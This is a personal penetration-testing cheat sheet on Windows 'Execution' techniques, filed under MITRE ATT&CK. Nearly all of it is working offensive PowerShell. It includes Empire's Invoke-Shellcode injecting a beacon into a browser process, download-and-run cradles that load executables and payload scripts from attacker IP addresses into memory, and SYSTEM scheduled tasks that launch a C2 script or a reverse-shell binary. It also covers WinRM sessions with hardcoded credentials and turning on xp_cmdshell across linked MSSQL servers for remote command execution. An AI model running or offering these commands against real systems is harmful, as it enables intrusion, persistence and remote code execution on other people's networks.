burmat / nathan burchfield
  • security and systems administration
  • security / hacking
    • Domain Enumeration + Exploitation
      • Command and Control
      • Credential Access
      • Defense Evasion
      • Discovery
      • Execution
      • Impact
      • Lateral Movement
      • Persistence
      • Privilege Escalation
    • Tools and Services
      • Adobe Experience Manager (AEM)
      • amass
      • ike-scan
      • jq
      • Shodan
      • smbmap
      • tmux
      • tshark
      • Voice Over IP (VoIP)
    • One-Liners and Dirty Scripts
    • MSFvenom Cheetsheet
    • Web Application Hacking
      • Cross-Site Scripting (XXS)
      • SQL Injection (SQLi)
    • OSCP / PWK - Random Tips and Tricks
  • systems administration
    • Active Directory Administration
    • Exchange Administration
    • System Fixes
    • Helper Commands
    • Log Parsing
    • SQL Server Administration
    • Windows Terminal Themes
Powered by GitBook
On this page
  • Executing Shellcode
  • Empire's Invoke-Shellcode
  • Executable to In-Memory Assembly Code
  • Download and Execute in Memory
  • WinRM
  • PowerShell Execution via Text File
  • Scheduled Task Creation
  • PowerUpSQL
  • MSSQL Server Enumeration
  • Enumerate User Privileges
  • Enable xp_cmdshell / Execute Commands
  • Execute DB Query via MSSQL Link
  • Import the PowerShell ActiveDirectory Module
  1. security / hacking
  2. Domain Enumeration + Exploitation

Execution

The adversary is trying to run malicious code. https://attack.mitre.org/tactics/TA0002/

PreviousDiscoveryNextImpact

Last updated 5 months ago

Executing Shellcode

Empire's Invoke-Shellcode

IEX (New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/code_execution/Invoke-Shellcode.ps1');
$b = [System.Io.File]::ReadAllBytes("C:\beaconx64.bin");
Invoke-Shellcode -ProcessId $(ps edge.exe).Id -Shellcode $b;

Or Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)

Executable to In-Memory Assembly Code

Reflectively loading a binary as assembly code

[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://my_ip/run.exe'))

Download and Execute in Memory

GitHub:

$u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/"
$f="Rubeus.exe"
$c = "1"
[byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f)
$assem = [System.Reflection.Assembly]::Load($a);
#$assem.CustomAttributes
#$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic
([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c)
$wp=[System.Reflection.Assembly]::Load([byte[]](new-object net.webclient).Downloaddata('http://172.16.40.13:1337/defnotrubeus.exe'));
[Rubeus.Program]::MainString("triage")

WinRM

The following will establish a WinRM session and execute commands remotely.

$cred = New-Object System.Management.Automation.PSCredential('burmat.local\jsmith', (ConvertTo-SecureString 'password' -AsPlainText -Force));

$sess = New-PSSession -Credential $cred -ComputerName $hostname; 
if ($sess) { 
    Invoke-Command -Session $sess -ScriptBlock { hostname; whoami; }; 
    Remove-PSSession $sess;
}

Or, you can gain an interactive session.

Enter-PSSession $(New-PSSession -Credential $cred -ComputerName $hostname);

PowerShell Execution via Text File

[scriptblock]::Create($((New-Object System.Net.WebClient).DownloadString('http://192.168.1.123/payload.txt'))).Invoke();

Scheduled Task Creation

$Script = 'C:\tmp\C2.ps1';
$TaskName = 'C2 PoC for SYSTEM';
$Description = 'A proof-of-concept for scheduled task creation';
$User = "NT AUTHORITY\SYSTEM";
$Executable = "powershell.exe";
$Action = New-ScheduledTaskAction -execute $Executable -Argument "-file $Script";
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).Date -RepetitionInterval (New-TimeSpan -Hours 24);
$Settings = New-ScheduledTaskSettingsSet –StartWhenAvailable;
Register-ScheduledTask -TaskName $TaskName -Trigger $Trigger -Action $Action -Setting $Settings -Description $Description -User $User -RunLevel Highest;

Or

schtasks /create /sc minute /mo 1 /tn burmat /tr \tmp\reverse443.exe /ru SYSTEM

PowerUpSQL

MSSQL Server Enumeration

## basic instance information
Get-SQLInstanceLocal

## more verbose information:
Get-SQLServerInfo -Verbose -Instance SQLSRV\SQLEXPRESS

## crawl for databse links:
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS

Enumerate User Privileges

Import-Module C:\tools\PowerUpSQL\PowerUpSQL.psm1

$Domain = "burmat.co";
$DC = (Get-ADDomain -Identity $Domain).PDCEmulator;
$DomainDN = (Get-ADDomain -Identity $Domain).DistinguishedName;

Get-SQLInstanceDomain -DomainController $DC -OutVariable MSSQLServers -verbose | Export-Csv ("MSSQLServers.csv") -NoTypeInformation;

$SQLCmd = $MSSQLServers | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10;
$SQLCmd | Export-Csv ("Weak Microsoft SQL Server Access Control.csv") -NoTypeInformation;

foreach ($MSSQLPriv in $MSSQLPrivs) {
   $MSSQLStoredProceduresEnabledonPublicRole = [ordered]@{
	  'Affected Scope'        = $Domain
	  'Computer Name'         = $MSSQLPriv.ComputerName.ToLower()
	  'Instance'              = $MSSQLPriv.Instance.ToLower()
	  'Database Name'         = $MSSQLPriv.DatabaseName
	  'Principal Name'        = $MSSQLPriv.PrincipalName
	  'Principal Type'        = $MSSQLPriv.PrincipalType
	  'Permission Type'       = $MSSQLPriv.PermissionType
	  'Permission Name'       = $MSSQLPriv.PermissionName
	  'State Description'     = $MSSQLPriv.StateDescription
	  'Object Name'           = $MSSQLPriv.ObjectName
	}
	$MSSQLStoredProceduresEnabledonPublicRole_object = New-Object -TypeName PSObject -Property $MSSQLStoredProceduresEnabledonPublicRole;
	$MSSQLStoredProceduresEnabledonPublicRole_object | Export-Csv ("MSSQL Stored Procedures Enabled on Public Role.csv") -NoTypeInformation -Append;
}

Enable xp_cmdshell / Execute Commands

## enable xp_cmdshell:
Get-SQLQuery -Instance SQLSRV\SQLEXPRESS -query "EXECUTE('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT ""sqlsrv.burmat.local"""

## test rce:
Get-SQLServerLinkCrawl -Instance "SQLSRV\SQLEXPRESS" -Query "exec master..xp_cmdshell 'whoami'" | Select-Object -ExpandProperty CustomQuery

Execute DB Query via MSSQL Link

Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS -Query "select name from master..sysdatabases" | Select-Object -ExpandProperty CustomQuery

Import the PowerShell ActiveDirectory Module

Additionally, there are additional methods here:

GitHub Repo: and more thorough cheat sheet:

Full credit to:

https://github.com/jnqpblc/Misc-PowerShell/blob/master/SharpDLExec.ps1
https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md
https://github.com/NetSPI/PowerUpSQL
https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
https://github.com/lkys37en
3MB
ad.txt